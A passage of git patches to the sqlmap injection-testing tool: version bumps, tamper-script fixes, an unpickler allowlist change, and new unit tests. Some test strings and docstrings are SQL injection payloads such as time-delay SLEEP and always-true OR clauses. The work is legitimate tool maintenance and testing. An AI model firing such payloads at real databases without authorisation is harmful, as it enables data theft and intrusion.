5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py 3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0 tamper/randomcase.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a915cbf8d1..469e819d550 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.102" +VERSION = "1.10.6.103" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index aba948a065f..0ccbc0cb537 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -20,4 +20,9 @@ def tamper(payload, **kwargs): '1\\\\" AND SLEEP(5)#' """ - return payload.replace("'", "\\'").replace('"', '\\"') + retVal = payload + + if payload: + retVal = payload.replace("'", "\\'").replace('"', '\\"') + + return retVal diff --git a/tamper/percentage.py b/tamper/percentage.py index 36c87dadb1e..6230e2fa57d 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -35,6 +35,8 @@ def tamper(payload, **kwargs): '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ + retVal = payload + if payload: retVal = "" i = 0 From 61d327aae13c467767bab72cfd1c18ded544c788 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 01:11:53 +0200 Subject: [PATCH 559/853] Minor patch of RestrictedUnpickler --- data/txt/sha256sums.txt | 4 ++-- lib/core/patch.py | 7 ++++++- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e61b9434006..e93622107dd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,13 +182,13 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py 3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py -2e66d74a4d9adb9ce30f48e22ab83b7fdccb54e7ea7b74a6104bda7d80a71a7a lib/core/patch.py +ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -adb776e7b2a3b238fcde22d6b4ca982b33ba949fac5fc4d1e1c4b3cd00c74cc6 lib/core/settings.py +aac10c0b7178194553609c1eca980c14d0ae3f0e013341a8a9bcb018ed3faf28 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index 0b3bd716e3d..19acde6efae 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -185,8 +185,13 @@ class RestrictedUnpickler(pickle.Unpickler): # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled def find_class(self, module, name): + # Note: protocol-2 pickling of a 'bytes' value on Python 3 emits a _codecs.encode global; allow that one + # (it only runs a codec, e.g. latin1 - it cannot execute arbitrary code) so serialized values containing + # bytes round-trip. Everything else from _codecs (e.g. lookup) stays blocked by the rule below. + if module == "_codecs" and name == "encode": + pass # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.) - if module in ("builtins", "__builtin__"): + elif module in ("builtins", "__builtin__"): if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"): raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name)) # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict) diff --git a/lib/core/settings.py b/lib/core/settings.py index 469e819d550..cd5f379c861 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.103" +VERSION = "1.10.6.104" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 48b915b5ee57352912ba6a99a8b41ac47b3ca820 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 01:20:48 +0200 Subject: [PATCH 560/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e93622107dd..6f61bb9a9ff 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,11 +188,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -aac10c0b7178194553609c1eca980c14d0ae3f0e013341a8a9bcb018ed3faf28 lib/core/settings.py +b0e5477bbbf2eb673fa6b99829c2f51e108bebd3f572d0527e90684c157ba3c6 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -7f7d1c57917f6ccc98e2ef093e2fa4cb6424d904c772b61003d5a5a3482a848f lib/core/testing.py +8bbc9312147ee8ca719860bc7ad472eac25230e4d46976fbb405efe43fe15ef6 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index cd5f379c861..04acbfcf79e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.104" +VERSION = "1.10.6.105" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 6d0a9849e02..bcb773fa7f2 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -246,7 +246,7 @@ def smokeTest(): count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): continue for filename in files: @@ -254,7 +254,7 @@ def smokeTest(): length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): continue for filename in files: From 3816df1241a164cbd42d35afb9668052151d86b6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 09:50:47 +0200 Subject: [PATCH 561/853] Adding unit tests --- .github/workflows/tests.yml | 3 + data/txt/sha256sums.txt | 38 +++++++- lib/core/settings.py | 2 +- tests/__init__.py | 6 ++ tests/_testutils.py | 89 ++++++++++++++++++ tests/test_agent.py | 86 +++++++++++++++++ tests/test_bigarray.py | 95 +++++++++++++++++++ tests/test_charset.py | 71 ++++++++++++++ tests/test_cloak.py | 67 +++++++++++++ tests/test_common_helpers.py | 76 +++++++++++++++ tests/test_comparison.py | 132 ++++++++++++++++++++++++++ tests/test_convert.py | 141 +++++++++++++++++++++++++++ tests/test_datafiles.py | 124 ++++++++++++++++++++++++ tests/test_datatypes.py | 96 +++++++++++++++++++ tests/test_decodepage.py | 81 ++++++++++++++++ tests/test_dialect.py | 107 +++++++++++++++++++++ tests/test_dicts.py | 88 +++++++++++++++++ tests/test_encoding.py | 75 +++++++++++++++ tests/test_error_engine.py | 113 ++++++++++++++++++++++ tests/test_hash.py | 105 +++++++++++++++++++++ tests/test_hashdb.py | 129 +++++++++++++++++++++++++ tests/test_identifiers_output.py | 78 +++++++++++++++ tests/test_inference_engine.py | 153 ++++++++++++++++++++++++++++++ tests/test_misc.py | 125 ++++++++++++++++++++++++ tests/test_pagecontent.py | 85 +++++++++++++++++ tests/test_payload_marking.py | 157 +++++++++++++++++++++++++++++++ tests/test_payloads_structure.py | 110 ++++++++++++++++++++++ tests/test_replication.py | 87 +++++++++++++++++ tests/test_safe2bin.py | 60 ++++++++++++ tests/test_settings_regex.py | 66 +++++++++++++ tests/test_sqlparse.py | 87 +++++++++++++++++ tests/test_strings.py | 102 ++++++++++++++++++++ tests/test_tamper.py | 125 ++++++++++++++++++++++++ tests/test_targeturl.py | 70 ++++++++++++++ tests/test_texthelpers.py | 74 +++++++++++++++ tests/test_union_engine.py | 107 +++++++++++++++++++++ tests/test_urls.py | 80 ++++++++++++++++ tests/test_utils.py | 117 +++++++++++++++++++++++ tests/test_wordlist.py | 96 +++++++++++++++++++ 39 files changed, 3501 insertions(+), 2 deletions(-) create mode 100644 tests/__init__.py create mode 100644 tests/_testutils.py create mode 100644 tests/test_agent.py create mode 100644 tests/test_bigarray.py create mode 100644 tests/test_charset.py create mode 100644 tests/test_cloak.py create mode 100644 tests/test_common_helpers.py create mode 100644 tests/test_comparison.py create mode 100644 tests/test_convert.py create mode 100644 tests/test_datafiles.py create mode 100644 tests/test_datatypes.py create mode 100644 tests/test_decodepage.py create mode 100644 tests/test_dialect.py create mode 100644 tests/test_dicts.py create mode 100644 tests/test_encoding.py create mode 100644 tests/test_error_engine.py create mode 100644 tests/test_hash.py create mode 100644 tests/test_hashdb.py create mode 100644 tests/test_identifiers_output.py create mode 100644 tests/test_inference_engine.py create mode 100644 tests/test_misc.py create mode 100644 tests/test_pagecontent.py create mode 100644 tests/test_payload_marking.py create mode 100644 tests/test_payloads_structure.py create mode 100644 tests/test_replication.py create mode 100644 tests/test_safe2bin.py create mode 100644 tests/test_settings_regex.py create mode 100644 tests/test_sqlparse.py create mode 100644 tests/test_strings.py create mode 100644 tests/test_tamper.py create mode 100644 tests/test_targeturl.py create mode 100644 tests/test_texthelpers.py create mode 100644 tests/test_union_engine.py create mode 100644 tests/test_urls.py create mode 100644 tests/test_utils.py create mode 100644 tests/test_wordlist.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index cda04f8ae45..358f7ba7ed1 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -40,6 +40,9 @@ jobs: - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" + - name: Unit tests + run: python -m unittest discover -s tests -p "test_*.py" + - name: Smoke test run: python sqlmap.py --smoke diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6f61bb9a9ff..25094e0d691 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b0e5477bbbf2eb673fa6b99829c2f51e108bebd3f572d0527e90684c157ba3c6 lib/core/settings.py +a910686c6eba592ba3f6fc5cbb8bed1bd6c330b0165c7c5dc927a71c5ae8be88 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -564,6 +564,42 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional 7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512 tamper/versionedkeywords.py 0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py +44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py +bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_agent.py +d4d7d3525d25ce72bf38bd38b5fdf61144e381993d63be7dc72b2b4811ffab67 tests/test_bigarray.py +27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py +9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py +a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py +7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py +8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py +5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py +9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py +3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py +e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py +993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py +2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py +bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py +8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py +c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py +205e84827461101a78b2cffaa3de49795a1214e92276fc7fd40f3456657062b9 tests/test_identifiers_output.py +5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py +caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py +4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py +6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py +5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py +cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py +a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py +d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py +41907c873663401f979b87eaff3efc8d52e0ce96cbe1eef7aa70c6d3af8cd5cf tests/test_strings.py +f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tamper.py +b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py +639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py +708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py +4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py +4f095ebda1b9bddde082ed464e863400cf23e9bf26f081948706213b35069195 tests/_testutils.py +2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py +81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 04acbfcf79e..6c7c64b909d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.105" +VERSION = "1.10.6.106" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/tests/_testutils.py b/tests/_testutils.py new file mode 100644 index 00000000000..1858e9d857e --- /dev/null +++ b/tests/_testutils.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared bootstrap for the sqlmap unit/regression test suite. + +Brings sqlmap's global state (conf/kb, the 'reversible' codec, cross-references, +option defaults) up far enough that pure/near-pure library functions can be +exercised in isolation - WITHOUT a live target, network, or DBMS. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import warnings + +# Quieten import-time noise before any sqlmap/3rd-party module is imported by bootstrap(): +# e.g. cryptography's "Python 2 is no longer supported" CryptographyDeprecationWarning via pymysql. +warnings.filterwarnings("ignore", message=".*Python 2 is no longer supported.*") +warnings.filterwarnings("ignore", category=DeprecationWarning) +# sqlmap reconfigures stdout at startup; py3 emits a benign RuntimeWarning about line buffering +warnings.filterwarnings("ignore", message=".*line buffering.*binary mode.*") + +_BOOTSTRAPPED = False +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + +def bootstrap(): + """Idempotently initialize sqlmap global state for testing.""" + global _BOOTSTRAPPED + if _BOOTSTRAPPED: + return + + if ROOT not in sys.path: + sys.path.insert(0, ROOT) + # a dummy target so cmdLineParser() populates ALL option defaults without erroring; + # save/restore the real argv so the unittest runner isn't confused by it + _orig_argv = list(sys.argv) + sys.argv = ["sqlmap.py", "-u", "http://test.invalid/?id=1"] + + from lib.core.common import setPaths + from lib.core.patch import dirtyPatches, resolveCrossReferences + setPaths(ROOT) + dirtyPatches() # registers the 'reversible' codec error handler, etc. + resolveCrossReferences() + + from lib.core.option import _setConfAttributes, _setKnowledgeBaseAttributes, _loadQueries + _setConfAttributes() + _setKnowledgeBaseAttributes() + _loadQueries() # populate the `queries` dict from queries.xml (needed by dialect builders) + + from lib.core.data import conf, kb + from lib.core.defaults import defaults + from lib.parse.cmdline import cmdLineParser + + args = cmdLineParser() + parsed = args.__dict__ if hasattr(args, "__dict__") else dict(args) + for k, v in parsed.items(): + conf[k] = v + # overlay canonical defaults for options left None (sqlmap does this during init) + for k, v in defaults.items(): + if conf.get(k) is None: + conf[k] = v + + kb.binaryField = False # normally set lazily during extraction + + # Silence sqlmap's application logger - tests assert on results, not log output, and the + # INFO/WARNING/ERROR chatter (column counts, reflective-value notices, an intentionally + # malformed-deflate error, etc.) just clutters the unittest report. + import logging + logging.getLogger("sqlmapLog").setLevel(logging.CRITICAL + 1) + + sys.argv = _orig_argv # restore so unittest's arg parsing works + _BOOTSTRAPPED = True + + +def set_dbms(name): + """Force the identified back-end DBMS for dialect-dependent functions. + + Uses forceDbms (not setDbms) so switching DBMS repeatedly in one process does + not trigger the interactive fingerprint-mismatch prompt. + """ + from lib.core.common import Backend + from lib.core.data import kb + kb.stickyDBMS = False + Backend.forceDbms(name) diff --git a/tests/test_agent.py b/tests/test_agent.py new file mode 100644 index 00000000000..2fb7bc09ed6 --- /dev/null +++ b/tests/test_agent.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Payload assembly helpers in lib/core/agent.py. + +These are the (mostly) DBMS-independent string transforms that wrap, fold and +clean a payload on its way to the wire: prefix/suffix, payload delimiters, +field extraction, CONCAT folding, and RAND-marker cleanup. All values below +were probed from real output, not assumed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.enums import DBMS +from lib.core.settings import PAYLOAD_DELIMITER + + +class TestPayloadDelimiters(unittest.TestCase): + def test_add(self): + self.assertEqual(agent.addPayloadDelimiters("1 AND 1=1"), + "%s1 AND 1=1%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER)) + + def test_remove(self): + wrapped = "%spayload%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER) + self.assertEqual(agent.removePayloadDelimiters(wrapped), "payload") + + def test_remove_none_is_none(self): + self.assertIsNone(agent.removePayloadDelimiters(None)) + + def test_roundtrip(self): + for p in ["1=1", "1 AND SLEEP(5)", "' OR '1'='1", "", "a%sb" % "x"]: + self.assertEqual(agent.removePayloadDelimiters(agent.addPayloadDelimiters(p)), p, + msg="delimiter round-trip for %r" % p) + + +class TestPrefixSuffix(unittest.TestCase): + def test_prefix_default_pads_space(self): + # with no configured prefix, a single leading space is prepended + self.assertEqual(agent.prefixQuery("1=1"), " 1=1") + + def test_suffix_default_identity(self): + self.assertEqual(agent.suffixQuery("1=1"), "1=1") + + +class TestGetFields(unittest.TestCase): + def test_extracts_select_list(self): + # getFields(query) returns an 8-tuple; the fields-bearing slots are: + # [0],[1] = regex match objects for the SELECT/expression (must be found, not None) + # [5] = parsed field list, [6] = raw fields string + # (asserting the match objects guards against a refactor that silently shifts the tuple) + result = agent.getFields("SELECT a,b FROM t") + self.assertIsNotNone(result[0], msg="getFields did not match the SELECT") + self.assertEqual(result[5], ["a", "b"]) + self.assertEqual(result[6], "a,b") + + +class TestConcatQuery(unittest.TestCase): + def test_mysql_concat_folding(self): + set_dbms(DBMS.MYSQL) + q = agent.concatQuery("SELECT a FROM t") + # folds the field through CONCAT with the start/stop delimiters and keeps the FROM + self.assertTrue(q.startswith("CONCAT("), msg=q) + self.assertIn("IFNULL(CAST(a AS NCHAR),' ')", q) + self.assertTrue(q.endswith("FROM t"), msg=q) + + +class TestCleanupPayload(unittest.TestCase): + def test_randnum_marker_replaced_with_digits(self): + out = agent.cleanupPayload("SELECT [RANDNUM]") + self.assertNotIn("[RANDNUM]", out, msg="marker not replaced: %r" % out) # actually substituted + self.assertTrue(out.startswith("SELECT "), msg=out) + self.assertTrue(out.split()[-1].isdigit(), msg=out) # ...and replaced with a concrete number + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py new file mode 100644 index 00000000000..f531ea4bbb8 --- /dev/null +++ b/tests/test_bigarray.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +BigArray disk-spill semantics (lib/core/bigarray.py). + +BigArray is the structure that lets sqlmap dump tables far larger than RAM: once +the in-memory chunk exceeds chunk_size it is pickled to a temp file and a new +chunk starts. The tricky, easy-to-break part is that indexing / iteration / +pop / pickling must stay correct ACROSS the in-memory<->on-disk boundary. + +These force a spill with a tiny chunk_size and assert the data survives intact. +""" + +import os +import pickle +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray + +N = 5000 + + +def _make_spilled(): + # tiny chunk_size guarantees many on-disk chunks for N items + ba = BigArray(chunk_size=1024) + for i in range(N): + ba.append("item-%d" % i) + return ba + + +class TestSpill(unittest.TestCase): + def test_actually_spilled_to_disk(self): + ba = _make_spilled() + self.assertGreater(len(ba.chunks), 1, msg="expected multiple chunks (a disk spill)") + # stronger than "more than one chunk": at least one chunk must be a real on-disk file + # (spilled chunks are stored as filenames). Otherwise this could pass while everything + # stayed in RAM. + disk_chunks = [c for c in ba.chunks if isinstance(c, str)] + self.assertTrue(disk_chunks, msg="no chunk was spilled to disk") + self.assertTrue(os.path.exists(disk_chunks[0]), msg="spilled chunk file missing on disk") + + def test_len(self): + self.assertEqual(len(_make_spilled()), N) + + def test_random_access_across_boundary(self): + ba = _make_spilled() + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], "item-%d" % i, msg="ba[%d]" % i) + + def test_negative_index(self): + ba = _make_spilled() + self.assertEqual(ba[-1], "item-%d" % (N - 1)) + + def test_iteration_order_preserved(self): + ba = _make_spilled() + for idx, value in enumerate(ba): + if value != "item-%d" % idx: + self.fail("iteration order broke at %d: %r" % (idx, value)) + self.assertEqual(idx, N - 1) + + def test_pop_from_end(self): + ba = _make_spilled() + self.assertEqual(ba.pop(), "item-%d" % (N - 1)) + self.assertEqual(len(ba), N - 1) + + def test_pickle_roundtrip_across_spill(self): + ba = _make_spilled() + restored = pickle.loads(pickle.dumps(ba)) + self.assertIsInstance(restored, BigArray) + self.assertEqual(len(restored), N) + self.assertEqual(restored[0], "item-0") + self.assertEqual(restored[N - 1], "item-%d" % (N - 1)) + + +class TestInMemorySmall(unittest.TestCase): + def test_no_spill_for_small(self): + ba = BigArray([1, 2, 3]) + self.assertEqual(len(ba), 3) + self.assertEqual(list(ba), [1, 2, 3]) + # the actual point of this test (the name promised it): a tiny array stays in ONE + # in-memory chunk and never touches disk + self.assertEqual(len(ba.chunks), 1, msg="small array unexpectedly spilled: %r" % (ba.chunks,)) + self.assertFalse(any(isinstance(c, str) for c in ba.chunks), msg="small array wrote a disk chunk") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_charset.py b/tests/test_charset.py new file mode 100644 index 00000000000..b7930bee061 --- /dev/null +++ b/tests/test_charset.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Response charset / meta detection and parameter parsing. + +checkCharEncoding canonicalizes the encoding sqlmap will decode a page with; +META_CHARSET_REGEX / HTML_TITLE_REGEX / META_REFRESH_REGEX pull structural hints +out of the body; paramToDict splits the parameters sqlmap will inject into. +These feed decodePage and the comparison engine, so the canonical/None results +are pinned here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import checkCharEncoding +from lib.core.common import extractRegexResult, paramToDict +from lib.core.enums import PLACE +from lib.core.settings import META_CHARSET_REGEX, HTML_TITLE_REGEX, 